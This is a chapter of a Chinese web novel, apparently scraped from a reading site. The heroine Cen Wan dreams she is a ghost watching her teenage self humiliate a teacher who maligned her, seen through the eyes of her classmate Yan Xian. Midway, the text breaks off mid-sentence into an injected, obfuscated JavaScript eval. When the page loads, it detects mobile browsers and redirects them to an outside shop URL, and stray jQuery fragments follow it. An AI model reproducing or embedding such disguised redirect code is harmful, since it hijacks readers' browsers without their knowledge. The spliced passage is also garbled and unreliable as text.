文趣网 > 其他小说 > 她卧高台 > 3. 第 3 章
    岑晚做了一个很奇怪的梦。

    梦里她回到了高中时期,准确的来说,是回到了……言羡的高中时期?

    “言羡,你这次又是年级第一,非常不错,我代表高二整个年级祝贺你,并向你学习。”

    高二的年级主任李建民,也是言羡所处的高二(8)的班主任,拍了拍言羡的肩,笑的一脸欣慰,眉眼间也依稀可见几分骄傲和得意。

    被拍肩的言羡脸上没什么表情,也没有回答,只是一双眼睛越过了李建民的头顶,落到了窗外。

    李建民的办公桌正对着窗口,正是夏天,两扇窗户都大开,一眼便能看到走廊上的场景。

    岑晚“站在”他的旁边,顺着他的目光看去,看到了……她自己?

    不,是过去17岁的岑晚。

    17岁的女孩穿着特意改装过,离膝盖10公分的校裙,露出一双又白又直的腿,小腿上是白色的中筒袜,脚下是一双精致的小皮鞋。

    微卷的长发披肩,她正和身旁的另一个女孩说些什么,脸上是比三月春光都要明媚的笑容,让人过目难忘,更让人目不转睛。

    少年慕艾,人之常情。

    这不,转眼一看,17岁的岑晚周围围了一群小子。

    有手上拿着篮球状似认真拍球的;和朋友交谈一双眼睛却一直停在岑晚身上的;拿着课本靠在墙上掩饰着背书的……

    这样的场景从岑晚升入高中后,几乎天天都在上演,不止她自己习惯了,学校的老师们也都习惯了。

    但是,如果慕艾的少年换成言羡的话,岑晚和李建民都不习惯,更是不能相信。

    他……是在看我吗?

    一直旁观的岑晚忍不住这样想,但这样的想法也只不过持续了几秒,很快她便想到,言羡这人从小就喜静不爱热闹,所以……啧,他在嫌她吵到他了?

    对喽,肯定是这样,要不然言羡这厮怎么皱眉了,又用一脸不高兴的死样子看着她。

    而且言羡从小也不喜欢她来着,他讨厌她。

    ……

    得,自作多情了。

    她就说嘛,言羡怎么可能偷看她?

    ……

    切!

    哼!

    那真是太不抱歉了,她会继续努力,被她吵死是他的荣幸。

    岑晚一脸桀骜,但内心还是觉得奇怪。

    她想,这不是她的梦吗?那按道理来说,她应该梦到自己,以自己的视角来回看她的高中时期,怎么现在她却好像是以言羡的视角,像道幽灵一样,“站”到了他的旁边,来回看了她的17岁?

    真奇怪,她的梦里,主角无论如何也该是她自己啊,这会弄的那言羡才是主角一样。

    岑·幽灵·晚还没想出个所以然来,同样不习惯也不相信的李建民开口了。

    “言羡啊,你可不要学那些成绩不好,品德也不好的坏同学,她们和你不是一类人,你可别被一副臭皮囊给骗了。那话怎么说来着?好看的皮囊千篇一律,只有智慧的灵魂才是万里挑一的。”

    李建民可不希望他的好苗子被带偏,被带坏,要不然他都该找不着地方哭了。

    尤其是如果带偏带坏言羡的人是岑晚,这个他一向最讨厌的女学生的话,那毫不夸张的说,他会立刻脖子一套,立马上吊。

    岑晚?一个入学开始就爱穿奇装异服,还总是爱化妆打扮,成绩又一般性子却张扬,不服管教,偏偏又喜欢呼朋唤友,仗着长着一张好看的脸又爱招蜂引蝶的……

    啧啧啧,他都不想说,这种女学生,小小年纪就这么坏,长大了还得了?

    他的好苗子言羡可不能被这种女学生污染,绝对不能!

    因此在注意到言羡落在窗外岑晚身上的目光时,李建民不免语重心长的教导他不要被坏学生的臭皮囊给迷惑了,一定要控制住自己啊。

    而他秉承着教书育人的职责,说的尽心又认真,却忽略了言羡越来越难看的脸色,也全然没注意到言羡眼睛里的冷意。

    可一旁的岑晚全都注意到了。

    岑晚看着这副模样的言羡,挑了挑眉,百思不得其解。

    他干嘛露出这样的脸色?

    李建民又不是在骂他,她一个“苦主”都不care,难道他还不乐意听了?

    难道说……哦,肯定是他嫌李建民话多十分啰嗦,耽误了他的学习时间。

    她早提醒了这位年级主任,让他少说话多做事。

    看看,看看,这下好了吧,连自己的好苗子都嫌他烦了。

    啧啧,真是的,不听岑晚言,吃亏在眼前。

    想到这,岑晚不免嫌弃的撇了一眼仍旧在喋喋不休的李建民。

    然后……便移开了目光。

    是的,要问她听了李建民的话生不生气,那自然是不生气的。

    有啥好生气的?跟傻叉没有计较的必要。

    这是现在26岁的岑晚的想法,可这不是17岁的岑晚的想法。

    李建民的办公桌与走廊本就没有多少距离,加上他说话时一开始是刻意压低了音量,怕走廊上的岑晚听见,但后来说着说着他兴许是说的来劲了,说的忘情了发狠了,连带着也忘了压低音量的这件事,反而还越说越大声了。

    于是,17岁的岑晚全都一字不差的将那些指桑骂槐的话听到了耳朵里。

    女孩脸上的笑容停滞,眼里泛着冷意看着李建民的背影,没过几秒便走到了窗边,抬手轻轻叩了下办公桌。

    李建民一转头便对上了岑晚似笑非笑的脸,他心里咯噔一声,暗道不好。

    他先前刻意压低音量,就是不想让岑晚听到,怕岑晚整他。

    他是知道的,岑晚背后的岑家可是学校最大的赞助商,不说别的,就是他现在用着的办公桌,坐着的凳子,都是岑家提供的。

    就是他们校长也要给岑家几分薄面,因此岑晚才可以一直在学校这样“放肆”。

    这样的人,他一个小小的年级主任自然惹不起。

    因此他虽然早看不惯岑晚了,但从未当面批评教育过岑晚,平日里对岑晚的不满也只敢在家里说几句。

    而今天?

    老天,咋回事啊?

    他今天也没喝酒啊,咋就飘了呢!?

    李建民心中后悔不已,面上又是尴尬至极的笑容,他想要说些什么,可还没来得及开口,岑晚便弯了弯唇,“李主任,您这么了解我啊?听您刚才说的那些话,我都感觉好像我自个都没有您那么了解我。”

    “什么喜欢打扮的花枝招展的,一看就不是正经女孩;成绩不好还不好好学习,就爱和不三不四的小混混交往;自己不学好不算,还非要拉上别人……啧,在您眼里,我这么坏啊?”

    “那您怎么不早说,为什么不当着我的面说?而是要和岑同学说呢?难道您把岑同学当成了我?不应该啊,李主任您年纪虽然大了,但还不至于大到老眼昏花的分不清人的地步吧?”

    “哎呀,您要是早说了,我不就早改了嘛?您看您,就是爱在背后伤人,也只敢在背后蛐蛐人,是不是玩不起啊,李主任?”

    “还是说,我这样的坏学生没有资格接受您的教导?更没有跟您说话的资格呢?您是不是瞧不起我?”

    一番话说的李建民不仅哑口无言,更把他说的额头上狂冒冷汗,他面露哀求,希望岑晚不要再说下去了。

    尤其是顶着周围围观同学看热闹不嫌事大的眼神,以及办公室里其它老师幸灾乐祸的表情,李建民只觉得难堪至极。

    他就不该招惹岑晚这个小混球!

    关键是他也不敢反驳,想到岑晚背后的岑家,李建民今日注定只能打碎牙齿活血吞。

    他能坐上这个年级主任的位置,也是耗费了一番心力,更可谓是披荆斩棘才得来的。

    要是从这位置上掉了下来,薪酬回到原来普通老师的标准,甚至失去这份工作也不是没有可能,那他家里那个肯定得抓花他的脸。

    那样的画

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819251|211118||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面……李建民打了个寒颤,不敢多想。

    他想要求饶,岑晚却依旧不给他开口的机会,只是冷淡的瞥了他几秒,毫不掩饰的翻了个白眼,然后便转身离开了。

    背影都透露着一股燥意。

    ……

    故事的主角离开了,剩下的人自然也散场了。

    李建民看着那远去的背影,后知后觉的回过神,一脸后怕的伸手擦了擦自己的额头。

    他这是……没事了吧?

    应该是……吧?

    就算岑晚再怎么了不起,总归他也只是在背后说了她几句闲话,岑家应该不会跟他计较那么多的吧?

    再说了,哪个当学生的不得被说几句,怎么岑晚就不行呢?

    哼!他身为老师,本来就有教书育人的责任,既然岑晚一日作为学生,那他就一日有资格去教她做人。

    何况,她不是也当众落他脸,让他难堪了吗?

    这算一报还一报,难道……不是吗?

    这么想完,李建民慢慢把心收回了肚子里,脸上又露出了个不屑的表情,还小声的对着地下呸了一声,暗道晦气。

    他全然忘了刚才自己的狼狈与惶恐,好像一切都没有发生过一样。

    一抬头却对上了言羡没有温度的双眼,以及脸上那个明显讥讽的笑容,他怔住了。

    ……

    岑晚总算搞明白了,她梦里的主角不是她自个,而是言羡。

    或许也可以这么说,在她的梦里,她是作为旁观者来看言羡身上发生的事,也就是以言羡的视角,来重新打开她的……高中时期?

    这回应该是打不开了。

    她跟言羡又不熟,言羡还讨厌她。

    当然,她也不喜欢言羡就是了。

    只是那都不是重点,现在的重点是……哇靠!她的梦里,为什么主角不是她,而会是言羡这个讨厌鬼啊!?

    真的见鬼了吧!

    这又不是言羡的梦里,这不倒反天罡吗?更是岂有此理!

    岑晚越想越气,恶狠狠的瞪着言羡。

    如果不是她现在像个幽灵,只能旁观,也没有实体什么的,她早动手揍言羡一顿了。

    虽然这好像不关言羡的事,这样也有点不太讲道理,但岑晚本身也不是个讲道理的人。

    哦,你要问她是怎么发现,她梦里的主角是言羡,而不是她自己的?

    自然是因为刚才17岁的自己在怼完李建民后,便潇洒的走人了,她想跟上去看看接下来17岁的自己会做些什么,但却控制不了自己的身体,连这办公室的门都迈不出去一步,只能站在言羡旁边,像个门神一样一直守着这厮。

    由此可见,梦里她要根据言羡的活动轨迹来活动,这可不就是以言羡的视角来打开他的高中时期吗?

    言羡,完完全全的主角嘛!

    艹!

    真是气死个人了,也真是莫名其妙的很。

    此刻的岑晚心情复杂,但也只是气了一会,便不再多想了。

    她想,总归是一场梦,梦醒了……就好了?

    不对,这好像不只是一场梦!

    岑晚忽然想起,她高二的时候,好像真的听到过李建民说她的那些话,她也好像真的当着许多人的面,狠狠的怼了李建民一顿。

    之后?之后李建民好像没过几天就辞职了?

    好像是有这么一回事?

    可是,李建民辞职的事,也不是她干的啊。

    她虽然当时因为李建民说的那些话生气了,但既然已经当面教训过李建民了,也没有想要赶尽杀绝,非把人饭碗给砸掉,所以回去后也没有和家里人说过这事。

    那李建民怎么刚好在这事几天后,就自己辞职了呢?

    奇怪……

    电光石火间,岑晚想到了什么,抬头瞪大了眼睛看向还站在原地的言羡。

    恰在此时,言羡开口,但也刚好,闹铃响起。

    于是,岑晚的梦,醒了。